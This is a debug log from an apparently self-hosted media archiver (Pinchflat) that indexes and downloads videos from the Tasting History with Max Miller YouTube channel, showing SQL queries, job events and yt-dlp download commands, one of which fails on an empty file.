\n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory #turkishdelight", "What is Turkish Delight? How to make real Ottoman Turkish Delight.", "MgswDy8PMAA", "https://www.youtube.com/watch?v=MgswDy8PMAA", 1379, false, "/downloads/Tasting History with Max Miller/2025-12-09 What is Turkish Delight? How to make real Ottoman Turkish Delight#/What is Turkish Delight? How to make real Ottoman Turkish Delight. [MgswDy8PMAA].mp4", false, 3, ~U[2025-12-09 16:00:45Z]] 02:52:33.982 [debug] QUERY OK source="sources" db=0.3ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.983 [debug] QUERY OK source="media_items" db=1.1ms idle=6.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-05 16:00:18Z], 3] 02:52:33.985 [debug] QUERY OK source="media_items" db=0.9ms idle=7.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "0735c82b-479f-43f2-816b-45886d1980a3", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", false, 1123, false, 18, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", false, false, 3, [], 98, ~U[2025-12-05 16:00:18Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Start speaking a new language in 3 weeks with Babbel 🎉. get Lifetime access for $199 during Babbelʼs Best Sale of the Year ➡ Here: https://bit.ly/TastingHistorywithMaxMillerDec\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/englishtoffee\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Real English Toffee from 1881", "7Z8MvxYovpk", "https://www.youtube.com/watch?v=7Z8MvxYovpk", 1123, false, "/downloads/Tasting History with Max Miller/2025-12-05 Making Real English Toffee from 1881/Making Real English Toffee from 1881 [7Z8MvxYovpk].mp4", false, 3, ~U[2025-12-05 16:00:18Z]] 02:52:33.985 [debug] QUERY OK source="sources" db=0.2ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.987 [debug] QUERY OK source="media_items" db=1.2ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 16:01:33Z], 3] 02:52:33.988 [debug] QUERY OK source="media_items" db=1.0ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "Gingerbread for Washington's Army", "a0ac90e2-0fea-4db6-a26c-68e3ed37fdbb", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", false, 1349, false, 19, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", false, false, 3, [], 98, ~U[2025-12-02 16:01:33Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes/revolutionarygingerbread\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index.php?curid=40270300\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index.php?curid=279000\n\n#tastinghistory", "Gingerbread for Washington's Army", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", 1349, false, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].mp4", false, 3, ~U[2025-12-02 16:01:33Z]] 02:52:33.989 [debug] QUERY OK source="sources" db=0.3ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:52:33.990 [debug] QUERY OK source="media_items" db=1.1ms idle=4.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-28 15:00:17Z], 3] 02:52:33.991 [debug] QUERY OK source="media_items" db=0.8ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "0f47a306-77ad-4752-91e8-c48036ab6af0", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", false, 14952, false, 20, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].mp4", false, false, 3, [], 98, ~U[2025-11-28 15:00:17Z], ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], "Signed Copies of the Tasting History Cookbook - https://www.tastinghistory.com/cookbook\n\nSupport the Channel with Patreon ► https://www.patreon.com/tastinghistory\n\nRecipe at https://www.tastinghistory.com/recipes\n\nMerch ► https://crowdmade.com/collections/tastinghistory \nInstagram ► https://www.instagram.com/tastinghistorywithmaxmiller/\nTwitter ► https://twitter.com/TastingHistory1 \nTiktok ► TastingHistory\nReddit ► https://www.reddit.com/r/TastingHistory/\nDiscord ► https://discord.gg/d7nbEpy\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n#tastinghistory #christmas", "Mulled Wine from 1845 & A Christmas Cooking Marathon", "6aKvdoUEVzY", "https://www.youtube.com/watch?v=6aKvdoUEVzY", 14952, false, "/downloads/Tasting History with Max Miller/2025-11-28 Mulled Wine from 1845 & A Christmas Cooking Marathon/Mulled Wine from 1845 & A Christmas Cooking Marathon [6aKvdoUEVzY].mp4", false, 3, ~U[2025-11-28 15:00:17Z]] 02:52:33.992 [debug] QUERY OK source="sources" db=0.1ms idle=4.8ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z], 3] 02:52:33.993 [debug] QUERY OK source="media_items" db=1.3ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:52:33.997 [debug] QUERY OK source="media_items" db=1.1ms idle=3.8ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 02:52:33.997 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [3] 02:52:33.998 [debug] QUERY OK source="tasks" db=0.2ms idle=2.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1731, 3, ~U[2026-03-31 06:52:33Z], ~U[2026-03-31 06:52:33Z]] 02:52:33.999 [info] {"args":{"id":3},"id":1717,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":52284341,"event":"job:stop","queue_time":979473,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 02:52:47.649 [info] {"source":"oban","duration":787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.999 [info] {"source":"oban","duration":141,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:53:17.651 [info] {"source":"oban","duration":602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:47.652 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:01.000 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:54:17.654 [info] {"source":"oban","duration":763,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:54:47.656 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:00.001 [info] {"source":"oban","duration":267,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:55:17.657 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:55:47.658 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:00.002 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:56:17.659 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:56:35.216 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/7d/c7/7dc7528a614d7b65b70dacda4273b8467519ec20d1de2264137c2f2d6efdf710.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 02:56:35.216 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 02:56:35.217 [debug] QUERY OK source="media_items" db=1.0ms idle=1825.0ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: The downloaded file is empty\n", ~U[2026-03-31 06:56:35Z], 12546] 02:56:35.218 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":288467470,"event":"job:exception","queue_time":749479,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:56:35.225 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774940195225121108,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:56:35.225 [debug] QUERY OK source="media_items" db=0.1ms idle=1833.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 02:56:35.225 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:56:35.225 [debug] QUERY OK source="sources" db=0.1ms idle=986.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:56:35.226 [debug] QUERY OK source="media_profiles" db=0.1ms idle=8.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:56:35.226 [debug] QUERY OK source="media_items" db=0.2ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 02:56:35.227 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 02:56:35.227 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:56:35.227 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:35.228 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:35.228 [debug] Running yt-dlp command for action: get_downloadable_status 02:56:35.228 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:35.228 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:35.229 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:35.229 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ab/09/ab09bff2fdafeadd82a0f224c889259cd3c275d08cbcbcbea051d7453e514c11.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:56:38.676 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/ab/09/ab09bff2fdafeadd82a0f224c889259cd3c275d08cbcbcbea051d7453e514c11.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:56:38.676 [debug] Running yt-dlp command for action: download 02:56:38.676 [debug] QUERY OK source="settings" db=0.1ms idle=432.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:38.677 [debug] QUERY OK source="settings" db=0.1ms idle=285.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:38.677 [debug] QUERY OK source="settings" db=0.1ms idle=285.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:56:38.677 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S 